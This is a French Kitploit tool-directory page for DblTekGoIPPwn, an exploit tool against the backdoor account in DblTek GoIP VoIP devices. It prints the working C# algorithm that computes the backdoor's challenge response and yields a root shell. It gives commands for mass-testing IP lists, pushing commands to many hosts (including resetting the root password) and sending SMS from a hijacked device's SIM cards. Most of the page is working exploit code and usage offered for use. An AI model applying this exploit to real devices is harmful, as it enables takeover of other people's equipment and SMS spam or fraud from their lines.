Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
DblTekGoIPPwn — Outil pour vérifier si une IP d'un DblTek GoIP est vulnérable à un système de connexion par défi-réponse, envoyer des SMS depuis le système, exécuter des commandes à distance à la manière d'un botnet, et générer des réponses aux défis. | Kitploit
Outils/GitHubGitHub/jacobmisirian/dbltekgoippwn
Scanners de VulnérabilitésExploitationTests d'IntrusionCommandement et ContrôleOutil d'Accès à Distance
GitHubjacobmisirian/dbltekgoippwn

DblTekGoIPPwn

Outil pour vérifier si une IP d'un DblTek GoIP est vulnérable à un système de connexion par défi-réponse, envoyer des SMS depuis le système, exécuter des commandes à distance à la manière d'un botnet, et générer des réponses aux défis.

Voir le dépôt
64265il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

DblTekGoIPPwn

Outil pour exploiter le système de réponse au défi dans les appareils DblTek GoIP vulnérables. Permet de générer des réponses à des défis spécifiques, de tester des hôtes pour la vulnérabilité, d'exécuter des commandes sur des hôtes vulnérables, d'envoyer des SMS depuis un hôte et d'ouvrir un shell root sur n'importe quel hôte vulnérable.

La Vulnérabilité

Le 2 mars 2017, Trustwave a publié une vulnérabilité découverte par des chercheurs en sécurité dans le téléphone VoIP DblTek GoIP. Il s'agissait d'une porte dérobée dans le firmware pour un compte nommé 'dbladm'. Lorsqu'un utilisateur saisissait ce nom d'utilisateur dans une invite telnet, le système présentait un défi qui, suivi de la bonne réponse, donnait à l'utilisateur un shell root sur le système.

Le problème avec un tel système de réponse au défi est que les appareils sont aussi sécurisés que l'algorithme de génération des réponses, qui a été rétroconçu à partir des binaires du firmware fournis par DblTek. Grâce à cet algorithme, un shell root peut être obtenu sur TOUT appareil DblTek GoIP.

Article original : https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/

En utilisant la description de la porte dérobée fournie dans l'article, j'ai pu écrire ce que je pense être l'un des premiers codes d'exploitation pour cette vulnérabilité. Le cœur de ce code est bien sûr l'algorithme pour générer la réponse en fonction d'un défi donné. Voici une fonction pour ce faire écrite en C#.

root@kitploit:~
static string ComputeResponse(string challengeStr)
{
    int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.

    string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.

    byte[] buffer = new byte[64];
    // Copy the string into the first part of the buffer.
    for (int i = 0; i < modified.Length; i++)
        buffer[i] = (byte)modified[i];

    var md5 = MD5.Create();
    byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.

    StringBuilder sb = new StringBuilder(); // Will hold the results.
    // Take the unpadded hex value of the first six bytes of the MD5.
    for (int i = 0; i < 6; i++)
        sb.Append(hash[i].ToString("x"));

    return sb.ToString(); // Profit
}

Interface en ligne de commande (CLI) de DblTekGoIPPwn

Lorsque DblTekPwn est exécuté sans arguments, l'aide s'affiche. Voici la sortie :

root@kitploit:~
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]

[MODE]:
-c --compute-response [CHALLENGE]         Calcule une réponse au défi donné.
-r --root-shell                           Démarre un shell root avec l'hôte vulnérable.
-s --send-commands    [COMMAND_FILE]      Envoie les commandes d'un fichier aux hôtes vulnérables.
-t --test                                 Teste les hôtes et détermine s'ils sont vulnérables.
-h --help                                 Affiche cette aide et quitte.

[HOSTS]:
-n --name             [IP]                Spécifie une seule adresse IP.
-f --file             [IP_FILE]           Spécifie un fichier avec des IP\nIP\nIP.

[OUTPUT]:
-o --output           [OUTPUT_FILE]       Spécifie un fichier de sortie. Par défaut : stdin.

Exemples

Obtenir un Shell Root sur un Système Vulnérable

DblTekGoIPPwn facilite l'obtention d'un shell root sur tout système vulnérable. Exécutez simplement la commande suivante en utilisant l'IP vulnérable.

root@kitploit:~
DblTekPwn.exe --root-shell --name 192.168.1.1

Vous verrez une sortie similaire à celle-ci :

root@kitploit:~
Password: ***********

À partir de là, vous pouvez commencer à entrer des commandes (il n'y a pas d'invite de shell).

Calculer une Réponse au Défi

Supposons que vous souhaitiez calculer la réponse à un défi GoIP N1746203308. Il suffit d'exécuter la commande suivante.

root@kitploit:~
DblTekPwn --compute-response N1746203308

La sortie sera la réponse :

root@kitploit:~
d6176d3aab2

Vérifier une Liste d'IP

Supposons que vous souhaitiez vérifier list.txt d'IP pour trouver des GoIP vulnérables et envoyer cette sortie vers results.txt. Assurez-vous d'abord que les IP sont au format ip:port (le port par défaut est 23) et que les IP sont séparées par un saut de ligne \n. La commande suivante peut ensuite être exécutée.

root@kitploit:~
DblTekPwn.exe --test --file list.txt --output results.txt

list.txt :

root@kitploit:~
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

results.txt :

root@kitploit:~
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

Le False ou True après l'hôte indique si l'IP est vulnérable ou non.

Envoyer des Commandes à une Liste d'IP

Supposons que vous ayez une liste de commandes (qui est en fait une liste d'entrées telnet) dans cmds.txt à envoyer à la liste d'IP list.txt et à envoyer la sortie vers results.txt. Assurez-vous d'abord que les IP sont au format ip:port (le port par défaut est 23) et que LES IP ET les commandes sont séparées par un saut de ligne \n dans leurs fichiers respectifs. La commande suivante peut ensuite être exécutée.

root@kitploit:~
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt

list.txt :

root@kitploit:~
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

cmds.txt :

root@kitploit:~
passwd root
toor
toor

exit

results.txt :

root@kitploit:~
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

Le False ou True après l'hôte indique si la connexion a été établie avec succès et les commandes délivrées.

Utilisation de la bibliothèque DblTekPwn.SMS

Le code de ce dépôt GitHub fournit une abstraction pour l'envoi de SMS (messages texte) depuis un GoIP piraté. Pour utiliser ce code, incluez DblTekPwn.exe dans votre application et ajoutez l'instruction using suivante.

root@kitploit:~
using DblTekPwn.SMS

Maintenant, dans votre code, vous pouvez utiliser la méthode statique SmsSender.SendSms. Voici quelques exemples.

Envoyer un SMS d'un Numéro Unique vers un Numéro Unique

root@kitploit:~
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);

Envoyer des SMS de Plusieurs Numéros vers un Numéro Unique

La plupart des GoIP ont jusqu'à 32 cartes SIM embarquées, permettant au pirate d'envoyer des SMS depuis toutes ces lignes.

root@kitploit:~
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);

Envoyer des SMS de Plusieurs Numéros vers Plusieurs Numéros

root@kitploit:~
string[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
Télécharger l’outil